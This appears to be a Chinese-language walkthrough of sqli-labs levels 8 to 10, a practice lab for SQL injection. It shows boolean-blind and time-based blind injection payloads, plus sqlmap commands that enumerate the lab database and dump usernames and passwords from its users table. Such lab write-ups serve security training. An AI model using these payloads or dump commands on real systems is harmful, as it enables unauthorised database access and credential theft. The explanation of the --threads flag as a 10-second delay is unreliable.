【第八关】
考点
布尔盲注+sqlmap+sql
Ⅰ 判断注入点
常规检验
?id=1 --+ -- You are in...........
?id=1' --+ -- You are in...........
?id=1" --+ -- You are in...........
?id=1\ --+ -- You are in...........
?id=1' and 1=1 --+ -- You are in...........
?id=1' and 1=2 --+ -- 空白
根据第五、六句,说明 存在单引号注入点,没有闭合注入点
Ⅱ 注入形式
布尔注入,手动的布尔注入感觉好累,一个个字符走,所以直接使用sqlmap根据进行sql注入
在注入前,先了解下sqlmap工具的常用指令
(1)sqlmap常用指令
-u +url 需要注入的链接
–dbs 获取数据库名
–tables
–columns
–batch 让sqlmap自动选择执行过程中出现的询问请求 如果存在注入,就出提示某个参数是可被攻击的
-D +数据库名
-T + 表名
-C + ”X,X2,X3“列表名
(2)sqlmap一般格式
python sqlmap.py -u url -D 数据库名DB --tables --batch
Ⅲ 开始注入
(1)爆数据库名
python sqlmap.py -u 'http://192.168.60.128/sqli-labs/Less-8/?id=1' --dbs --batch
(2)爆表名
python sqlmap.py -u 'http://192.168.60.128/sqli-labs/Less-8/?id=1' -D security --tables --batch
(3) 爆列名
python sqlmap.py -u 'http://192.168.60.128/sqli-labs/Less-8/?id=1' -D security -T users --columns --batch
(4) 爆数据
python sqlmap.py -u 'http://192.168.60.128/sqli-labs/Less-8/?id=1' -D security -T users -C"id,password,username" --dump --batch
【第九关】
考点
延时注入+sqlmap
Ⅰ 判断注入点
判断不出注册点
测试了下面的语句,页面只显示” You are in…“,属实头疼,盲猜是关闭了报错,只显示”You are in…“
?id=1 --+ -- You are in...........
?id=1' --+ -- You are in...........
?id=1" --+ -- You are in...........
?id=1\ --+ -- You are in...........
?id=1' and 1=1 --+ -- You are in...........
?id=1' and 1=2 --+ -- You are in...........
Ⅱ 源码分析
这就是导致上面的注入点推断时,发现输入啥,都是显示一个答案,在这里,就不能用之前的报错注入和布尔注入了
Ⅲ 注册形式
(1)时间延时注入
依据正确执行SQL语句时,故意延时显示,以便判断sql正确执行了,不过爆数据库名时需要一个个字符爆,在这里,要么借用脚本exp,或者burp爆破,手动是真的麻烦!!
格式
?id=1'and if(database()='security',sleep(2),1)--+
?id=1'and if(ascii(substring((sql注入语句)>0,sleep(2),1)--+
/*
*其中sql注入语句,类似
select table_name from information_schema.tables where table_schema='security'limit 0,1),1,1)
*/
(2)sqlmap注入
力推,输入的格式跟第八关一致
【第十关】基于GET双引号的时间盲注
Ⅰ 判断注入点
跟第九关一样,存在输入任何东西,都是显示同一个结果
使用延时注入,得出注入点
?id=1' and sleep(3) --+ -- 马上显示,不是单引号注入
?id=1" and sleep(3) --+ -- 等待三秒后,才显示,是双引号注入
Ⅱ 正常注入
其他的参考第九关
python sqlmap.py
-u "http://192.168.60.128/sqli-labs/Less-10/index.php?id=1"
--technique T
-D security
-T users
-C username,password
--dump
--threads 10
--level 3
--batch
- –technique T 指定sqlmap使用的探测技术,T表示延时技术
- –threads 10:延时10s
- –level 3 :注入等级,级别越高sqlmap发送的探测payload就越多,越有可能发现注入漏洞
- –batch:即执行的时候不需要我们再手动的进行选择yes或者no,默认选择yes